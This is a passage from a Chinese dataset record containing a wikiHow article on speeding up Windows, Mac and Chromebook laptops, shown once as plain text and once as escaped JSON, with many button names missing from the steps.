\"描述\": \"你的邮箱会收到再次发送的行程发票邮件。\"}]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,746 | 如何加快笔记本电脑的运行速度 | 1. Windows电脑
1-1. 养成良好的电脑使用习惯。
只要改变一些电脑使用习惯就能取得惊人效果，让运行缓慢的电脑马上速度如飞：
经常清空“回收站”。
关掉不再使用的程序。
不要一直开机，至少隔几天关一次。
安装所有可用的更新。
不要安装过大、电脑无法应付的程序。
不要同时安装多个防病毒程序。Windows电脑自带有防病毒程序Windows Defender，因此不用另行安装。
确保电脑散热通风口干净，畅通无阻。
1-2. 更改电池设置。
大多数Windows电脑都使用平衡模式，在节电和性能之间取得平衡，但是你也可以自己把它改成高性能模式。不过，这样会大大降低笔记本电脑的电池寿命：
点击的图标{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/0\/07\/Windowsstart.png\/30px-Windowsstart.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击图标{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/d\/d0\/Windowssettings.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/d\/d0\/Windowssettings.png\/31px-Windowssettings.png","smallWidth":460,"smallHeight":445,"bigWidth":31,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击。
点击页面左侧的标签。
取消勾选“自动打开节电模式”方框。
日后也不要启动“节电模式”。
1-3. 删除不必要的程序。
这些程序会占用空间和内存。你可以按照下面的步骤进行卸载：
点击的图标{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/0\/07\/Windowsstart.png\/30px-Windowsstart.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
输入控制面板。
点击菜单顶端的。
点击链接，或者如果这一页列出了许多图标，那就点击。
找到你要删除的程序，点击选中它。
点击或。
根据屏幕上的提示卸载程序。
如果系统提示你重新启动电脑，选择。
如果还有其它不需要的程序，请重复上述过程。
1-4. 禁止程序在开机时自动启动。
Windows电脑开机后，你会发现好几个程序同时启动。这会大大延长电脑的加载时间。根据下面的步骤，阻止程序在开机时自动启动：
点击的图标{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/0\/07\/Windowsstart.png\/30px-Windowsstart.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
输入任务管理器。
点击窗口顶端的。
点击选项卡。
点击某个程序名称。
点击窗口右下角的。
重复上述步骤，禁用这个窗口中的每一项程序。
1-5. 关掉特殊的视觉效果。
Windows 10增加了几种视觉效果，比如阴影和动态光线效果。它们会明显减慢旧版或低端电脑的运行速度。不过你可以禁用这些效果，让电脑运行更顺畅：
点击的图标{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/0\/07\/Windowsstart.png\/30px-Windowsstart.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
输入查看高级系统设置。
点击顶端的。
点击选项卡。
点击“性能”标题底下的。
点击选项卡。
勾选“自定义：”方框。
取消勾选这一页的每一个方框。
点击，然后点击。
1-6. 运行磁盘清理程序。
磁盘清理程序会寻找临时文件、文件夹和其它可以安全删除的项目，然后把它们删除干净。这个方法十分方便，能删除电脑中好几千兆字节的无用数据：
点击的图标{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/0\/07\/Windowsstart.png\/30px-Windowsstart.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
输入磁盘清理。
点击顶端的程序。
点击窗口左下方的。
等待磁盘清理程序搜索可以删除的文件。
勾选主窗口中的每一个方框，必要时可以往下滚动。
点击。
当屏幕上出现提示，点击。
1-7. 扫描病毒。
病毒会让电脑运行缓慢，导致某些程序无法使用。用内置的防病毒程序Windows Defender进行扫描，就能识别和删除电脑上的病毒。
不要下载和（或）使用其它防病毒程序。
1-8. 重新启动电脑。
点击{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/0\/07\/Windowsstart.png\/30px-Windowsstart.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}，再点击{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/5\/5d\/Windowspower.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/5\/5d\/Windowspower.png\/30px-Windowspower.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}，然后在出现的菜单中点击。电脑重新启动后，刚才所做的全部更改应该会生效。
电脑在启动后的头几分钟会运行迟缓，这是正常的现象。
2. Mac电脑
2-1. 养成良好的电脑使用习惯。
只要改变一些电脑使用习惯就能取得惊人效果，让运行迟缓的电脑马上速度如飞：
经常清空“废纸篓”。
关掉不再使用的程序。
不要一直开机，至少隔几天关机一次。
安装所有可用的更新。
不要安装体积过大、电脑无法应付的程序。
不要同时安装多个防病毒程序。Mac电脑使用Malwarebytes就足够了。
确保电脑散热通风口干净，畅通无阻。
2-2. 删除或移动桌面文件。
众所周知，Mac系统很敏感，桌面杂乱会影响它的性能。不过，只要删除或移动桌面文件，就能轻松解决这个问题。
删除：选中要删除的文件，点击菜单项，然后在出现的下拉菜单中点击选项。
移动：选中要移动的文件，同时按下Command和X键，打开目标文件夹，然后按下Command和V键。
2-3. 删除不必要的程序。
和其它电脑一样，不用的程序不管有没有打开，都会占用Mac电脑大量的空间。按照下面的步骤，删除Mac电脑上不必要的程序：
点击桌面或打开Finder窗口。
点击菜单栏中的。
点击。
找出一个不需要的应用程序。
将它拖放到Mac电脑dock栏中的“废纸篓”。
根据屏幕上的指示删除程序。
重复上述过程，删除其它不用的程序。
2-4. 关掉开机自动启动的程序。
这些程序会在Mac电脑开机时自动启动，明显减缓电脑的运行速度，甚至导致系统崩溃。如果你想要开机更顺畅，就要禁用这些程序：
打开{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/f\/ff\/Macapple1.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/f\/ff\/Macapple1.png\/29px-Macapple1.png","smallWidth":460,"smallHeight":476,"bigWidth":29,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击。
点击。
点击标签栏。
选中一个程序。
点击程序窗口下面的“”。
重复上述过程，关闭这个窗口中的所有其它程序。
2-5. 禁用Dashboard功能。
Dashboard是显示各种小工具和打开窗口的屏幕。虽然很有用，但是会占用大量内存。不过，要禁用它也很容易：
打开{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/f\/ff\/Macapple1.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/f\/ff\/Macapple1.png\/29px-Macapple1.png","smallWidth":460,"smallHeight":476,"bigWidth":29,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
如果已经打开“系统偏好设置”，你也可以点击⋮⋮⋮⋮ ，并跳到下一步。
点击。
点击。
点击“Dashboard”下拉菜单。
在出现的菜单中点击。
2-6. 优化Mac电脑的硬盘储存空间。
Mac OS Sierra和以上的版本有一个优化储存的功能，允许你删除电脑里不必要的文件和数据，包括看过的电视剧集（之后如有需要，可以重新下载）：
打开{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/f\/ff\/Macapple1.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/f\/ff\/Macapple1.png\/29px-Macapple1.png","smallWidth":460,"smallHeight":476,"bigWidth":29,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击。
点击标签栏。
点击窗口右上方的。
点击“优化储存空间”标题右边的按钮。
2-7. 运行磁盘工具扫描电脑。
它会检查和修复Mac电脑硬盘的小错误，进而提升文件恢复速度和电脑的整体性能：
点击菜单栏中的。
你可能需要先点击桌面或打开Finder窗口才会看到它。
点击。
双击图标。
在窗口左上方，选中你要扫描的硬盘。
点击按钮。
在出现提示时点击，如果出现另一个提示，那就点击。
2-8. 扫描病毒。
病毒会减慢电脑运行速度，导致某些程序无法使用。只要下载Malwarebytes Antivirus，并进行扫描，就能识别和删除Mac电脑上的病毒。
不要同时安装多个防病毒程序。
2-9. 重新启动Mac电脑。
打开{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/f\/ff\/Macapple1.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/f\/ff\/Macapple1.png\/29px-Macapple1.png","smallWidth":460,"smallHeight":476,"bigWidth":29,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}，从出现的下拉菜单中点击。在出现提示时，点击。Mac电脑重新启动后，应该会比之前运行得更快。
电脑在启动后的头几分钟会运行迟缓，这是正常的现象。
3. Chromebook
3-1. 养成良好的电脑使用习惯。
只要调整一些电脑使用习惯就能取得惊人效果，让运行迟缓的电脑马上变得性能卓越：
关掉不再使用的程序。
不要一直开机，至少隔几天关机一次。
安装所有可用的更新。
不要安装体积过大、电脑无法应付的程序。
不要同时安装多个防病毒程序。
确保电脑散热通风口干净，畅通无阻。
3-2. 把浏览器中开着但不再使用的标签栏关掉。
打开太多标签栏会迅速降低Chrome的系统性能。关掉不再使用的标签栏，减少内存使用率。
3-3. 确保Chromebook运行最新版本的系统。
具体方法如下：
点击右下角的头像。
点击图标{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/6\/68\/Android7settings.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/6\/68\/Android7settings.png\/30px-Android7settings.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
从弹出的菜单中点击。
点击菜单中的。
点击。
3-4. 删除不必要的扩展程序。
由于Chromebook内存不大，要是Chrome浏览器有很多不用的扩展程序，必定会减慢电脑运行速度。根据下面的步骤，删除这些扩展程序：
打开Chrome浏览器{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/c\/cd\/Android7chrome.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/c\/cd\/Android7chrome.png\/30px-Android7chrome.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
在地址栏输入chrome:extensions，然后按下Enter。
点击某个扩展程序旁边的垃圾桶图标。
出现提示时，点击。
重复上述过程，删除所有不需要的扩展程序。
3-5. 删除不需要的应用程序。
和其它电脑一样，不用的程序仍然会占用宝贵的空间。你可以按照下面的步骤，删除Chromebook上的应用程序：
打开“应用程序”列表。
用两只手指点击某个应用程序。
点击。
重复上述步骤，删除其它不必要的应用程序。
3-6. 考虑恢复出厂设置。
重置Chromebook会删除保存在里面的所有数据，重置结束后，电脑会像新的设备一样运行。
将你要保存的数据做好备份。
打开Chrome{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/c\/cd\/Android7chrome.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/c\/cd\/Android7chrome.png\/30px-Android7chrome.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击。
点击。
滚动到底部，点击。
往下滚动，点击，然后根据屏幕上的指示重置Chromebook。
小提示
你可以重新安装电脑的操作系统，只保留最基本的程序、文件和设置，删除所有其它数据。如果你没有备份重要文件，这可算是一个很极端的选项，但是可以大大提升电脑性能。
如果性能对你来说很重要，而且不在意价格，考虑安装固态硬盘（SSD）。这类硬盘不包含移动部件，你会发现电脑的开机和加载时间大大缩短了。它们比普通硬盘更贵，但是近年来价格不断下降。
如果你的笔记本电脑还可以支持，不妨安装更多内存来改善性能。笔记本电脑可以支持的内存量通常比台式机低，你可能已经使用了它所能支持的最大内存量。
警告
不要使用声称能加快电脑运行速度的程序。它们通常对电脑性能没什么影响，而且很多程序携带了恶意软件。
| {
"create_time": "20230517 11:02:20",
"回答明细": "{\"回答\": \"1. Windows电脑\\n1-1. 养成良好的电脑使用习惯。\\n只要改变一些电脑使用习惯就能取得惊人效果，让运行缓慢的电脑马上速度如飞：\\n经常清空“回收站”。\\n关掉不再使用的程序。\\n不要一直开机，至少隔几天关一次。\\n安装所有可用的更新。\\n不要安装过大、电脑无法应付的程序。\\n不要同时安装多个防病毒程序。Windows电脑自带有防病毒程序Windows Defender，因此不用另行安装。\\n确保电脑散热通风口干净，畅通无阻。\\n1-2. 更改电池设置。\\n大多数Windows电脑都使用平衡模式，在节电和性能之间取得平衡，但是你也可以自己把它改成高性能模式。不过，这样会大大降低笔记本电脑的电池寿命：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/d\\\\/d0\\\\/Windowssettings.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/d0\\\\/Windowssettings.png\\\\/31px-Windowssettings.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":445,\\\"bigWidth\\\":31,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n点击页面左侧的标签。\\n取消勾选“自动打开节电模式”方框。\\n日后也不要启动“节电模式”。\\n1-3. 删除不必要的程序。\\n这些程序会占用空间和内存。你可以按照下面的步骤进行卸载：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入控制面板。\\n点击菜单顶端的。\\n点击链接，或者如果这一页列出了许多图标，那就点击。\\n找到你要删除的程序，点击选中它。\\n点击或。\\n根据屏幕上的提示卸载程序。\\n如果系统提示你重新启动电脑，选择。\\n如果还有其它不需要的程序，请重复上述过程。\\n1-4. 禁止程序在开机时自动启动。\\nWindows电脑开机后，你会发现好几个程序同时启动。这会大大延长电脑的加载时间。根据下面的步骤，阻止程序在开机时自动启动：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入任务管理器。\\n点击窗口顶端的。\\n点击选项卡。\\n点击某个程序名称。\\n点击窗口右下角的。\\n重复上述步骤，禁用这个窗口中的每一项程序。\\n1-5. 关掉特殊的视觉效果。\\nWindows 10增加了几种视觉效果，比如阴影和动态光线效果。它们会明显减慢旧版或低端电脑的运行速度。不过你可以禁用这些效果，让电脑运行更顺畅：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入查看高级系统设置。\\n点击顶端的。\\n点击选项卡。\\n点击“性能”标题底下的。\\n点击选项卡。\\n勾选“自定义：”方框。\\n取消勾选这一页的每一个方框。\\n点击，然后点击。\\n1-6. 运行磁盘清理程序。\\n磁盘清理程序会寻找临时文件、文件夹和其它可以安全删除的项目，然后把它们删除干净。这个方法十分方便，能删除电脑中好几千兆字节的无用数据：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入磁盘清理。\\n点击顶端的程序。\\n点击窗口左下方的。\\n等待磁盘清理程序搜索可以删除的文件。\\n勾选主窗口中的每一个方框，必要时可以往下滚动。\\n点击。\\n当屏幕上出现提示，点击。\\n1-7. 扫描病毒。\\n病毒会让电脑运行缓慢，导致某些程序无法使用。用内置的防病毒程序Windows Defender进行扫描，就能识别和删除电脑上的病毒。\\n不要下载和（或）使用其它防病毒程序。\\n1-8. 重新启动电脑。\\n点击{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}，再点击{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/5\\\\/5d\\\\/Windowspower.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/5\\\\/5d\\\\/Windowspower.png\\\\/30px-Windowspower.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}，然后在出现的菜单中点击。电脑重新启动后，刚才所做的全部更改应该会生效。\\n电脑在启动后的头几分钟会运行迟缓，这是正常的现象。\\n2. Mac电脑\\n2-1. 养成良好的电脑使用习惯。\\n只要改变一些电脑使用习惯就能取得惊人效果，让运行迟缓的电脑马上速度如飞：\\n经常清空“废纸篓”。\\n关掉不再使用的程序。\\n不要一直开机，至少隔几天关机一次。\\n安装所有可用的更新。\\n不要安装体积过大、电脑无法应付的程序。\\n不要同时安装多个防病毒程序。Mac电脑使用Malwarebytes就足够了。\\n确保电脑散热通风口干净，畅通无阻。\\n2-2. 删除或移动桌面文件。\\n众所周知，Mac系统很敏感，桌面杂乱会影响它的性能。不过，只要删除或移动桌面文件，就能轻松解决这个问题。\\n\\n删除：选中要删除的文件，点击菜单项，然后在出现的下拉菜单中点击选项。\\n移动：选中要移动的文件，同时按下Command和X键，打开目标文件夹，然后按下Command和V键。\\n2-3. 删除不必要的程序。\\n和其它电脑一样，不用的程序不管有没有打开，都会占用Mac电脑大量的空间。按照下面的步骤，删除Mac电脑上不必要的程序：\\n点击桌面或打开Finder窗口。\\n点击菜单栏中的。\\n点击。\\n找出一个不需要的应用程序。\\n将它拖放到Mac电脑dock栏中的“废纸篓”。\\n根据屏幕上的指示删除程序。\\n重复上述过程，删除其它不用的程序。\\n2-4. 关掉开机自动启动的程序。\\n这些程序会在Mac电脑开机时自动启动，明显减缓电脑的运行速度，甚至导致系统崩溃。如果你想要开机更顺畅，就要禁用这些程序：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n点击。\\n点击标签栏。\\n选中一个程序。\\n点击程序窗口下面的“”。\\n重复上述过程，关闭这个窗口中的所有其它程序。\\n2-5. 禁用Dashboard功能。\\nDashboard是显示各种小工具和打开窗口的屏幕。虽然很有用，但是会占用大量内存。不过，要禁用它也很容易：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n如果已经打开“系统偏好设置”，你也可以点击⋮⋮⋮⋮ ，并跳到下一步。\\n点击。\\n点击。\\n点击“Dashboard”下拉菜单。\\n在出现的菜单中点击。\\n2-6. 优化Mac电脑的硬盘储存空间。\\nMac OS Sierra和以上的版本有一个优化储存的功能，允许你删除电脑里不必要的文件和数据，包括看过的电视剧集（之后如有需要，可以重新下载）：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n点击标签栏。\\n点击窗口右上方的。\\n点击“优化储存空间”标题右边的按钮。\\n2-7. 运行磁盘工具扫描电脑。\\n它会检查和修复Mac电脑硬盘的小错误，进而提升文件恢复速度和电脑的整体性能：\\n点击菜单栏中的。\\n你可能需要先点击桌面或打开Finder窗口才会看到它。\\n点击。\\n双击图标。\\n在窗口左上方，选中你要扫描的硬盘。\\n点击按钮。\\n在出现提示时点击，如果出现另一个提示，那就点击。\\n2-8. 扫描病毒。\\n病毒会减慢电脑运行速度，导致某些程序无法使用。只要下载Malwarebytes Antivirus，并进行扫描，就能识别和删除Mac电脑上的病毒。\\n不要同时安装多个防病毒程序。\\n2-9. 重新启动Mac电脑。\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}，从出现的下拉菜单中点击。在出现提示时，点击。Mac电脑重新启动后，应该会比之前运行得更快。\\n电脑在启动后的头几分钟会运行迟缓，这是正常的现象。\\n3. Chromebook\\n3-1. 养成良好的电脑使用习惯。\\n只要调整一些电脑使用习惯就能取得惊人效果，让运行迟缓的电脑马上变得性能卓越：\\n关掉不再使用的程序。\\n不要一直开机，至少隔几天关机一次。\\n安装所有可用的更新。\\n不要安装体积过大、电脑无法应付的程序。\\n不要同时安装多个防病毒程序。\\n确保电脑散热通风口干净，畅通无阻。\\n3-2. 把浏览器中开着但不再使用的标签栏关掉。\\n打开太多标签栏会迅速降低Chrome的系统性能。关掉不再使用的标签栏，减少内存使用率。\\n3-3. 确保Chromebook运行最新版本的系统。\\n具体方法如下：\\n点击右下角的头像。\\n点击图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/6\\\\/68\\\\/Android7settings.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/6\\\\/68\\\\/Android7settings.png\\\\/30px-Android7settings.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n从弹出的菜单中点击。\\n点击菜单中的。\\n点击。\\n3-4. 删除不必要的扩展程序。\\n由于Chromebook内存不大，要是Chrome浏览器有很多不用的扩展程序，必定会减慢电脑运行速度。根据下面的步骤，删除这些扩展程序：\\n打开Chrome浏览器{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/c\\\\/cd\\\\/Android7chrome.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/cd\\\\/Android7chrome.png\\\\/30px-Android7chrome.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n在地址栏输入chrome:extensions，然后按下Enter。\\n点击某个扩展程序旁边的垃圾桶图标。\\n出现提示时，点击。\\n重复上述过程，删除所有不需要的扩展程序。\\n3-5. 删除不需要的应用程序。\\n和其它电脑一样，不用的程序仍然会占用宝贵的空间。你可以按照下面的步骤，删除Chromebook上的应用程序：\\n打开“应用程序”列表。\\n用两只手指点击某个应用程序。\\n点击。\\n重复上述步骤，删除其它不必要的应用程序。\\n3-6. 考虑恢复出厂设置。\\n重置Chromebook会删除保存在里面的所有数据，重置结束后，电脑会像新的设备一样运行。\\n将你要保存的数据做好备份。\\n打开Chrome{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/c\\\\/cd\\\\/Android7chrome.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/cd\\\\/Android7chrome.png\\\\/30px-Android7chrome.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n点击。\\n滚动到底部，点击。\\n往下滚动，点击，然后根据屏幕上的指示重置Chromebook。\\n小提示\\n你可以重新安装电脑的操作系统，只保留最基本的程序、文件和设置，删除所有其它数据。如果你没有备份重要文件，这可算是一个很极端的选项，但是可以大大提升电脑性能。\\n如果性能对你来说很重要，而且不在意价格，考虑安装固态硬盘（SSD）。这类硬盘不包含移动部件，你会发现电脑的开机和加载时间大大缩短了。它们比普通硬盘更贵，但是近年来价格不断下降。\\n如果你的笔记本电脑还可以支持，不妨安装更多内存来改善性能。笔记本电脑可以支持的内存量通常比台式机低，你可能已经使用了它所能支持的最大内存量。\\n警告\\n不要使用声称能加快电脑运行速度的程序。它们通常对电脑性能没什么影响，而且很多程序携带了恶意软件。\\n\", \"简要回答\": \"笔记本电脑运行速度慢往往都是因为储存空间不足、显示效果太耗费内存、缓存文件过多以及系统保养不当。不管你的笔记本电脑运行的是Windows、macOS还是Chrome OS（Chromebooks），这里都有一些实用的建议，帮助你加快它们的运行速度。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"Windows电脑\", \"步骤\": [{\"编号\": 1, \"标题\": \"养成良好的电脑使用习惯。\", \"描述\": 